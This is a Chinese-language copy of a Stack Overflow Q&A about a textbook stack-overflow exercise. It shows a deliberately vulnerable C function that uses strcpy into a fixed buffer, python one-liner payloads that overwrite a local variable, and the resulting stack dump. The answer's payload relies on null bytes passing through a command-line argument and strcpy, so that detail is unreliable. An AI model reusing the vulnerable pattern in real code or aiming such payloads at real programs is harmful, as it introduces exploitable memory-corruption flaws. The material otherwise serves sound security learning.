我正在通过我在网上找到的一本书来学习计算机安全(这本书很新,放轻松!)其中一章教你如何溢出堆栈。程序中使用的功能是:

void vuln(int tmp, char *str) {
    //attempting to overflow into tmp, setting win accordingly
    int win = tmp;
    //overflowing this array!
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        printf("You win!\n");
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

我想做的是溢出buf并将tmp的值设置为1,相应地设置win并让我获胜。
目前,我正在使用一个快速的python脚本打印出84个字母a,直到堆栈被填充到我想要设置的变量中。这是我在命令提示符下的调用:
./simple_overwrite $(python -c "print 'A'*84)

给出的输出是:
Stack dump:
> 0xffffd614: 0xffffd803 (second argument)
> 0xffffd610: 0x00000000 (first argument)
> 0xffffd60c: 0x41414141 (saved eip)
> 0xffffd608: 0x41414141 (saved ebp)
> 0xffffd604: 0x41414141
> 0xffffd600: 0x41414141
> 0xffffd5fc: 0x41414141
> 0xffffd5f8: 0x41414141
> 0xffffd5f4: 0x41414141
> 0xffffd5f0: 0x41414141
> 0xffffd5ec: 0x41414141
> 0xffffd5e8: 0x41414141
> 0xffffd5e4: 0x41414141
> 0xffffd5e0: 0x41414141
> 0xffffd5dc: 0x41414141
> 0xffffd5d8: 0x41414141
> 0xffffd5d4: 0x41414141
> 0xffffd5d0: 0x41414141
> 0xffffd5cc: 0x41414141
> 0xffffd5c8: 0x41414141
> 0xffffd5c4: 0x41414141
> 0xffffd5c0: 0x41414141
> 0xffffd5bc: 0x41414141 (beginning of buffer)
> win = 1094795585
> Sorry, you lose.

虽然我不太确定在脚本之后输入什么来将地址设置为指向1的值,但我尝试了0x1和1,但都没有成功。任何帮助都非常感谢,谢谢!!
另外,我知道这是一个很不好的学习方法,但是请记住这是关于计算机安全的,我不想在本教程之外使用它。

最佳答案

您已将win设置为0x41414141。您想将其设置为1。试试这样的:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'")

或者'\x01\x00\x00\x00',这取决于计算机的端部。

关于c - 将堆栈溢出到变量困惑中(计算机安全),我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/16308465/

10-11 23:02
查看更多